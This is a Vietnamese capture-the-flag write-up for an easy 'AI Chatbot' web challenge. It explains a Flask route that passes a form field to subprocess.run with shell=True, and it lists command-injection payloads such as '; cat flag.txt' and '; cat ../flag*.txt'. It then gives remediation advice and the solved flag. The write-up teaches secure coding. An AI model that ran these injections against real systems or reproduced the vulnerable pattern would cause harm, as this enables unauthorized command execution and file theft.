Web
Easy
100 points

AI Chatbot

Recuite 2025 - HCMUS
6 tháng 10, 2025
Command Injection
subprocess
Python Flask
Recuite 2025 - HCMUS
Web

AI Chatbot#

Tổng Quan#

Challenge này là một ứng dụng web đơn giản với tính năng "AI Chatbot" cho phép người dùng nhập tên của họ. Backend sử dụng subprocess.run() với tham số shell=True để thực thi lệnh, tạo ra lỗ hổng Command Injection kinh điển.

Thông Tin Challenge#

  • Danh mục: Web Security
  • Độ khó: Dễ
  • Điểm: 100
  • Lỗ hổng: Command Injection
  • Kỹ năng: Python Flask, Command Injection, Linux Commands

Phân Tích Lỗ Hổng#

Source Code#

Đây là đoạn code có lỗ hổng:

python
@app.route('/chatbot', methods=['GET', 'POST'])
def chatbot():
    if request.method == 'GET':
        return render_template('chatbot.html')
    
    name = request.form['name']  # Input từ user
    command = "echo " + name     # ⚠️ Ghép trực tiếp vào lệnh!
    
    response = subprocess.run(command, shell=True, capture_output=True)
    return render_template('chatbot.html', name=response.stdout.decode('utf-8'))

Vấn Đề#

  1. Input không được validate: Dữ liệu từ user được lấy trực tiếp mà không kiểm tra
  2. Ghép chuỗi trực tiếp: Input được nối vào lệnh shell bằng operator +
  3. shell=True: Cho phép thực thi bất kỳ lệnh shell nào
  4. Không có sanitization: Không loại bỏ các ký tự đặc biệt nguy hiểm

Nguy Cơ#

Kẻ tấn công có thể:

  • Thực thi bất kỳ lệnh hệ thống nào
  • Đọc file nhạy cảm (flag, /etc/passwd, source code)
  • Thay đổi file hệ thống
  • Tạo reverse shell để kiểm soát server
  • Xóa dữ liệu quan trọng

Khai Thác#

Cách Hoạt Động#

Command Injection hoạt động bằng cách chèn các ký tự đặc biệt để tách lệnh:

Ký tựÝ nghĩaVí dụ
;Kết thúc lệnh hiện tại, bắt đầu lệnh mớiecho test; ls
&&Chạy lệnh thứ 2 nếu lệnh thứ 1 thành côngecho test && cat flag.txt
|Pipe output của lệnh 1 làm input cho lệnh 2echo test | cat flag.txt
$()Command substitutionecho $(cat flag.txt)
`Command substitution (cú pháp cũ)echo `cat flag.txt`

Bước 1: Liệt Kê File#

Trước tiên, tìm xem flag ở đâu:

bash
# Payload
test; ls -la

# Lệnh thực tế được thực thi
echo test; ls -la

Kết quả sẽ hiển thị danh sách file trong thư mục hiện tại.

Bước 2: Tìm Flag#

Thử tìm file flag:

bash
# Payload 1: Tìm trong thư mục hiện tại
; ls -la

# Payload 2: Tìm trong thư mục cha
; ls ../

Bước 3: Đọc Flag#

Sau khi tìm thấy vị trí flag (giả sử là flag.txt):

bash
# Payload
; cat flag.txt

# Hoặc
test && cat flag.txt

# Hoặc
| cat flag.txt

Bước 4: Đọc Nhiều Flag Một Lúc#

Khi có nhiều file flag (flag1.txt, flag2.txt, ...), có thể sử dụng wildcard * để đọc tất cả cùng một lúc:

bash
# Payload - Đọc tất cả các file flag:
; cat ../flag*.txt

# Nếu folder chứa nhiều kiểu file flag khác (flag_secret.txt), vẫn dùng wildcard:
; cat ../flag*.txt

Cách này sẽ in toàn bộ nội dung của tất cả các file flag ra màn hình, giúp bạn không phải cat từng file thủ công.

Command Injection flag file list output Kết quả liệt kê file flag trên server từ lỗ hổng command injection.

Bài Học Rút Ra#

Cho Developers#

  1. Không bao giờ tin tưởng user input

    • Luôn validate và sanitize mọi dữ liệu từ user
  2. Tránh shell=True

    • Dùng argument lists thay vì string commands
    • Nếu bắt buộc dùng shell, phải escape đúng cách
  3. Nguyên tắc least privilege

    • Chạy application với quyền tối thiểu
    • Không chạy web server với quyền root
  4. Input validation

    • Whitelist các ký tự được phép
    • Reject các ký tự đặc biệt nguy hiểm: ;, |, &, $, `, (), {}, []
  5. Sử dụng alternatives an toàn

    • Thay subprocess bằng Python libraries an toàn hơn
    • Với echo, không cần gọi shell command

Cho Security Testers#

  1. Identify injection points

    • Tìm mọi nơi user input được xử lý
    • Test với các ký tự đặc biệt
  2. Test systematically

    • Thử từng loại payload một
    • Document kết quả
  3. Check for output

    • Đôi khi output không hiển thị (blind injection)
    • Có thể dùng time-based hoặc out-of-band techniques

Flag#

BPCTF{N0w-y0u-kn0w-c0mmand-1nj3ct10n_072ac70226918ab44c3b78f5cf4a1825}
100
Points
Easy
Difficulty
Web
Category